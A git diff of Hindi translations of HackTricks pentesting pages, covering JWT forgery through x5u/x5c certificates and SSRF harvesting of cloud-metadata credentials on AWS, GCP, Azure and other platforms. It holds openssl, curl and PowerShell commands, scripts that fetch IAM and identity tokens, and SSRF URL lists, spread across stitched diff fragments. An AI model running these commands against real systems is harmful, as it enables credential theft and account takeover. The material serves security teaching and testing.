तब आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग करके नया JWT बना सकते हैं **बनाए गए सार्वजनिक और निजी कुंजियों के साथ और x5u पैरामीटर को बनाई गई .crt प्रमाणपत्र की ओर इंगित करते हुए।**
|
||||
|
||||
![](<../.gitbook/assets/image (439).png>)
|
||||
|
||||
|
@ -183,7 +183,7 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
यदि हमलावर **एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है** और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मूल्य को नवनिर्मित प्रमाणपत्र के साथ बदल देता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।
|
||||
यदि हमलावर **एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करता है** और संबंधित निजी कुंजी का उपयोग करके एक जाली टोकन बनाता है और "x5c" पैरामीटर के मूल्य को नवनिर्मित प्रमाणपत्र के साथ बदलता है और अन्य पैरामीटरों, अर्थात् n, e और x5t को संशोधित करता है तो मूल रूप से जाली टोकन को सर्वर द्वारा स्वीकार कर लिया जाएगा।
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -204,7 +204,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
नई निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, टोकन के अंदर नई सार्वजनिक कुंजी को सम्मिलित करें और इसका उपयोग नए हस्ताक्षर उत्पन्न करने के लिए करें:
|
||||
एक नई निजी/सार्वजनिक कुंजी उत्पन्न करना संभव है, नई सार्वजनिक कुंजी को टोकन के अंदर सम्मिलित करें और इसका उपयोग एक नए हस्ताक्षर को उत्पन्न करने के लिए करें:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -222,8 +222,8 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
```
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः चलाने से रोकने के लिए किया जा सकता है।\
|
||||
हालांकि, एक परिस्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए अगर बैकएंड प्रत्येक अनुरोध पर ID बढ़ा रहा है तो आप इसका दुरुपयोग करके **एक अनुरोध को पुनः चला सकते हैं** (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता होती है)।
|
||||
JTI (JWT ID) दावा JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः चलाने से रोकने के लिए किया जा सकता है।\
|
||||
हालांकि, एक परिस्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 एक ही ID का उपयोग करेंगे। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID बढ़ा रहा है तो आप इसका दुरुपयोग करके **एक अनुरोध को पुनः चला सकते हैं** (प्रत्येक सफल पुनः चलाने के बीच 10000 अनुरोध भेजने की आवश्यकता होती है)।
|
||||
|
||||
### JWT पंजीकृत दावे
|
||||
|
||||
|
@ -240,14 +240,14 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से नायक तक</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में शामिल हों या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**।
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में **शामिल हों** या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें**।
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अपनी हमले की सतह को ट्रैक करें, सक्रिय खतरे के स्कैन चलाएं, अपने पूरे टेक स्टैक में मुद्दों का पता लगाएं, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में इसे आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
अपनी अटैक सरफेस को ट्रैक करें, प्रोएक्टिव थ्रेट स्कैन चलाएं, अपने पूरे टेक स्टैक में मुद्दों का पता लगाएं, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में इसे आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
मेटाडेटा एंडपॉइंट के **2 संस्करण** हैं। **पहला** एंडपॉइंट को **GET** अनुरोधों के माध्यम से **एक्सेस** करने की अनुमति देता है (इसलिए कोई भी **SSRF इसका शोषण कर सकता है**). **दूसरे संस्करण** के लिए, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), आपको एक **टोकन** के लिए पूछना होगा **PUT** अनुरोध भेजकर एक **HTTP हेडर** के साथ और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा तक पहुँचने के लिए (इसलिए इसका दुरुपयोग करना **अधिक जटिल है** SSRF के साथ).
|
||||
|
||||
{% hint style="danger" %}
|
||||
ध्यान दें कि यदि EC2 इंस्टेंस IMDSv2 को लागू कर रहा है, [**डॉक्स के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का प्रतिसाद** में एक **हॉप सीमा 1** होगी, जिससे EC2 इंस्टेंस के अंदर के कंटेनर से EC2 मेटाडेटा तक पहुँचना असंभव हो जाएगा।
|
||||
ध्यान दें कि यदि EC2 इंस्टेंस IMDSv2 को लागू कर रहा है, [**डॉक्स के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में एक **हॉप सीमा 1** होगी, जिससे EC2 इंस्टेंस के अंदर के कंटेनर से EC2 मेटाडेटा तक पहुँचना असंभव हो जाएगा।
|
||||
|
||||
इसके अलावा, **IMDSv2** उन अनुरोधों को भी **ब्लॉक करेगा जो टोकन प्राप्त करने के लिए `X-Forwarded-For` हेडर शामिल करते हैं**। यह गलत तरीके से कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है।
|
||||
{% endhint %}
|
||||
|
@ -96,13 +96,13 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
**सार्वजनिक रूप से उपलब्ध IAM प्रमाण-पत्र** के उदाहरण के रूप में आप यहाँ जा सकते हैं: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
**सार्वजनिक रूप से उपलब्ध IAM प्रमाणपत्र** के उदाहरण के रूप में आप यहाँ जा सकते हैं: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
आप **EC2 सुरक्षा प्रमाण-पत्र** भी यहाँ देख सकते हैं: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
आप **EC2 सुरक्षा प्रमाणपत्र** भी यहाँ देख सकते हैं: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
फिर आप **उन प्रमाण-पत्रों को लेकर AWS CLI के साथ उपयोग कर सकते हैं**। इससे आप वह सब कुछ कर सकते हैं जिसकी अनुमति उस भूमिका के पास है।
|
||||
फिर आप **उन प्रमाणपत्रों को लेकर AWS CLI के साथ उपयोग कर सकते हैं**। इससे आप वह सब कुछ कर पाएंगे जिसकी अनुमति उस भूमिका के पास है।
|
||||
|
||||
नए प्रमाण-पत्रों का लाभ उठाने के लिए, आपको इस तरह का एक नया AWS प्रोफाइल बनाने की आवश्यकता होगी:
|
||||
नए प्रमाणपत्रों का लाभ उठाने के लिए, आपको इस तरह का एक नया AWS प्रोफाइल बनाना होगा:
|
||||
```
|
||||
[profilename]
|
||||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||||
|
@ -115,11 +115,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
|
||||
### AWS ECS (Container Service) क्रेडेंशियल्स में SSRF
|
||||
|
||||
**ECS**, एक तार्किक समूह है EC2 इंस्टेंस का जिस पर आप अपने क्लस्टर प्रबंधन अवसंरचना को स्केल किए बिना एप्लिकेशन चला सकते हैं क्योंकि ECS आपके लिए उसका प्रबंधन करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **metadata endpoints बदल जाते हैं**।
|
||||
**ECS**, एक तार्किक समूह है EC2 इंस्टेंस का जिस पर आप अपने स्वयं के क्लस्टर प्रबंधन अवसंरचना को स्केल किए बिना एप्लिकेशन चला सकते हैं क्योंकि ECS आपके लिए उसका प्रबंधन करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **metadata endpoints बदल जाते हैं**।
|
||||
|
||||
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ तक पहुँचते हैं तो आपको ECS मशीन के क्रेडेंशियल्स मिलेंगे। लेकिन पहले आपको **\<GUID> ढूँढना** होगा। \<GUID> ढूँढने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** को पढ़ना होगा।\
|
||||
आप **Path Traversal** का उपयोग करके `file:///proc/self/environ` पर इसे पढ़ सकते हैं।\
|
||||
उल्लिखित http पता आपको **AccessKey, SecretKey और token** प्रदान करना चाहिए।
|
||||
आप **Path Traversal** का उपयोग कर `file:///proc/self/environ` को पढ़ने में सक्षम हो सकते हैं।\
|
||||
उल्लिखित http पता आपको **AccessKey, SecretKey और token** प्रदान करेगा।
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
|
@ -129,18 +129,18 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
|
||||
### AWS Lambda के लिए SSRF <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
इस मामले में **प्रमाण-पत्र वातावरण चर में संग्रहीत किए जाते हैं**। इसलिए, उन तक पहुँचने के लिए आपको **`file:///proc/self/environ`** जैसी चीज़ तक पहुँचना होगा।
|
||||
इस मामले में **प्रमाणपत्र env वेरिएबल्स में संग्रहीत किए जाते हैं**। इसलिए, उन्हें एक्सेस करने के लिए आपको **`file:///proc/self/environ`** जैसी चीज़ तक पहुँचना होगा।
|
||||
|
||||
**रोचक वातावरण चरों** के **नाम** हैं:
|
||||
**दिलचस्प env वेरिएबल्स** के **नाम** हैं:
|
||||
|
||||
* `AWS_SESSION_TOKEN`
|
||||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
इसके अलावा, IAM प्रमाण-पत्रों के अतिरिक्त, Lambda फ़ंक्शन्स में भी **इवेंट डेटा होता है जो फ़ंक्शन को शुरू करते समय पास किया जाता है**। यह डेटा [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) के माध्यम से फ़ंक्शन को उपलब्ध कराया जाता है और इसमें **संवेदनशील** **जानकारी** हो सकती है (जैसे कि **stageVariables** के अंदर)। IAM प्रमाण-पत्रों के विपरीत, इस डेटा तक मानक SSRF के माध्यम से पहुँचा जा सकता है **`http://localhost:9001/2018-06-01/runtime/invocation/next`** पर।
|
||||
इसके अलावा, IAM प्रमाणपत्रों के अतिरिक्त, Lambda फंक्शन्स के पास **इवेंट डेटा भी होता है जो फंक्शन को शुरू करते समय पास किया जाता है**। यह डेटा [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) के माध्यम से फंक्शन को उपलब्ध कराया जाता है और इसमें **संवेदनशील** **जानकारी** हो सकती है (जैसे कि **stageVariables** के अंदर)। IAM प्रमाणपत्रों के विपरीत, इस डेटा तक मानक SSRF के माध्यम से **`http://localhost:9001/2018-06-01/runtime/invocation/next`** पर पहुँचा जा सकता है।
|
||||
|
||||
{% hint style="warning" %}
|
||||
ध्यान दें कि **lambda प्रमाण-पत्र** **वातावरण चरों** के अंदर होते हैं। इसलिए अगर lambda कोड का **stack trace** वातावरण चरों को प्रिंट करता है, तो ऐप में एक त्रुटि प्रेरित करके उन्हें **निकालना संभव** है।
|
||||
ध्यान दें कि **lambda प्रमाणपत्र** **env वेरिएबल्स** के अंदर होते हैं। इसलिए अगर lambda कोड का **stack trace** env vars को प्रिंट करता है, तो ऐप में एक त्रुटि प्रेरित करके उन्हें **exfiltrate करना संभव** है।
|
||||
{% endhint %}
|
||||
|
||||
### AWS Elastic Beanstalk के लिए SSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -154,23 +154,19 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
|
||||
|
||||
फिर हम `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` के साथ credentials का उपयोग करते हैं।
|
||||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
आप [**यहाँ metadata endpoints के बारे में दस्तावेज़ पा सकते हैं**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)।
|
||||
आप [**यहाँ मेटाडेटा एंडपॉइंट्स के बारे में डॉक्स पा सकते हैं**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||
|
||||
### Google Cloud के लिए SSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
HTTP header **`Metadata-Flavor: Google`** की आवश्यकता होती है और आप निम्नलिखित URLs के साथ metadata endpoint तक पहुँच सकते हैं:
|
||||
HTTP हेडर **`Metadata-Flavor: Google`** की आवश्यकता होती है और आप निम्नलिखित URLs के साथ मेटाडेटा एंडपॉइंट तक पहुँच सकते हैं:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
* http://metadata
|
||||
|
||||
जानकारी निकालने के लिए दिलचस्प endpoints:
|
||||
जानकारी निकालने के लिए दिलचस्प एंडपॉइंट्स:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -314,15 +310,21 @@ http://169.254.169.254/metadata/v1/region
|
|||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||||
curl http://169.254.169.254/metadata/v1.json | jq
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
सबसे महत्वपूर्ण कमजोरियों को ढूंढें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, सक्रिय खतरे के स्कैन चलाता है, और आपके पूरे टेक स्टैक में मुद्दों का पता लगाता है, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Azure <a href="#cea8" id="cea8"></a>
|
||||
|
||||
### Azure VM
|
||||
|
||||
[**डॉक्स** यहाँ पर हैं](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
[**डॉक्स** यहाँ हैं](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)।
|
||||
|
||||
* **आवश्यक** है कि हेडर में `Metadata: true` शामिल हो
|
||||
* **आवश्यक** है कि हेडर `Metadata: true` शामिल हो
|
||||
* `X-Forwarded-For` हेडर **नहीं** होना चाहिए
|
||||
|
||||
{% tabs %}
|
||||
|
@ -355,6 +357,8 @@ curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&res
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="PS" %}
|
||||
यह टैब "PS" के लिए है।
|
||||
{% endtab %}
|
||||
```bash
|
||||
# Powershell
|
||||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||||
|
@ -372,7 +376,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
**env** से आप `IDENTITY_HEADER` _और_ `IDENTITY_ENDPOINT` के मान प्राप्त कर सकते हैं। जिसका उपयोग आप metadata server से बात करने के लिए एक token इकट्ठा करने में कर सकते हैं।
|
||||
**env** से आप `IDENTITY_HEADER` _और_ `IDENTITY_ENDPOINT` के मान प्राप्त कर सकते हैं। जिसका उपयोग आप metadata server से बात करने के लिए एक token एकत्र करने में कर सकते हैं।
|
||||
|
||||
अधिकतर समय, आप इन संसाधनों में से एक के लिए token चाहते हैं:
|
||||
|
||||
|
@ -482,7 +486,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
|
||||
## Packetcloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
उपलब्ध दस्तावेज़ [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
|
||||
दस्तावेज़ उपलब्ध है [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata) पर
|
||||
|
||||
## OpenStack/RackSpace <a href="#id-2ffc" id="id-2ffc"></a>
|
||||
|
||||
|
@ -523,13 +527,13 @@ docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
|||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
||||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||||
```
|
||||
## रैंचर <a href="#id-8cb7" id="id-8cb7"></a>
|
||||
## Rancher <a href="#id-8cb7" id="id-8cb7"></a>
|
||||
```
|
||||
curl http://rancher-metadata/<version>/<path>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
सबसे महत्वपूर्ण कमजोरियों को ढूंढें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, सक्रिय खतरे के स्कैन चलाता है, और आपके पूरे टेक स्टैक में मुद्दों को ढूंढता है, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
|
||||
सबसे महत्वपूर्ण कमजोरियों को ढूंढें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, सक्रिय खतरा स्कैन चलाता है, और आपके पूरे टेक स्टैक में मुद्दों को ढूंढता है, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -542,7 +546,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**।
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके।
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**।
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें।
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -27,7 +27,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
**नवीनतम घोषणाएँ**\
|
||||
नवीनतम बग बाउंटीज लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
|
||||
|
||||
**हमसे** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
|
||||
## ASREPRoast
|
||||
|
||||
|
@ -35,9 +35,9 @@ ASREPRoast हमला **उन उपयोगकर्ताओं की ख
|
|||
|
||||
इसका मतलब है कि कोई भी उन उपयोगकर्ताओं में से किसी की ओर से DC को AS\_REQ अनुरोध भेज सकता है, और AS\_REP संदेश प्राप्त कर सकता है। यह अंतिम प्रकार का संदेश एक डेटा चंक होता है जो मूल उपयोगकर्ता की कुंजी से एन्क्रिप्टेड होता है, जो उसके पासवर्ड से निकाला गया होता है। फिर, इस संदेश का उपयोग करके, उपयोगकर्ता का पासवर्ड ऑफलाइन क्रैक किया जा सकता है।
|
||||
|
||||
